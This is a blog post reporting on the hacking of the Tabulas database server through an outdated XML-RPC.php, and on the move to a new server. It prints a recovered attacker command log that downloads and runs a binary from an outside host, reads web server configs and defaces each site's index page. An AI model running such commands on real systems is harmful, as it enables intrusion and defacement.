danger smells like clean socks

Here's a collection of events from the server crash (I've been up for a while now, so this will be terse).

Non-technical version:

Someone (not me) left an unpatched piece of software on the server that Tabulas' database is located at. A hacker got in through there messed things up bad. I had to spend last night setting up a new server and moving Tabulas' DB over there. It was partially my fault (this could have been avoided), and I've learned my lesson.

Technical version:

• Approximately 12 hours ago, the server that the Tabulas database is stored on was hacked. To cut down on costs, I share the server with a mutual acquaintance. He was hosting a friend who was hosting Xoop CMS. Normally this isn't that bad, except the friend had an outdated copy of XML-RPC.php running. This XML-RPC.php had been patched, but apparently my friend's friend didn't take notice.
• Normally, this isn't bad, as PHP can't execute /var/tmp, but this is also a development server, so /var/tmp *was* set as executable. The hackers installed a bunch of backdoors through the XML-RPC exploit from this site (r0nin and kmod and one more which escapes my memory at the moment). Luckily I was able to track down exactly what they were doing:

  cd /var/tmp
ls
wget http://xpl.templarteam.org/kmod
chmod +x kmod
./kmod
id
id;uname -a
locate httpd.conf
cat /etc/httpd/conf/httpd.conf
cd /etc/appliance/apacheconf
cd /apache
cd /etc/httpd/conf/virtual
cat *.* > l.txt
cat sit* > l.txt
cat l.txt
cat l.txt | egrep ServerName
cd /home
cd virtual
cat *.* > ll.txt
cat ll.txt
cat * > ll.txt
echo Simiens Crew 2006 > si.txt
pwd
find /home/virtual -name "index.*" -exec cp si.txt {} ;
ls
perl

• They basically went through each site and replaced the index.html file. What happened next is a bit fuzzy, but generally the server decided to crap out, completely. So a new order went in last night for a brand spankin' new server (this was on the long-term roadmap, but I decided to move it up since the server was nearly dead already).
• So I asked my hosting company to set up the old hard drive as a slave on the new hard drive so I coudl transfer files. Except... the old hard drive was an EIDE drive, while the new drives were SATA. And apparently they didn't have extra EIDE controllers lying about.
• So they installed it through the CD-ROM channel. My mounting skills are sub-par on Linux, so somehow only the boot partition got mounted ...
• But a little while later, the whole thing was accessible. Then it was just a matter of grabbing the old files, transferring them over to the new server, setting up all the accounts, redirecting all existing *.tabulas sites to use the new database location ...
• And here I am, exhausted and completely stressed out.

I think I'll sleep now.

I've been meaning to write a really long post on the future of Tabulas, and I think this whole experience'll be a good incentive to do so. Expect a post on that after I wake up from sleeping :)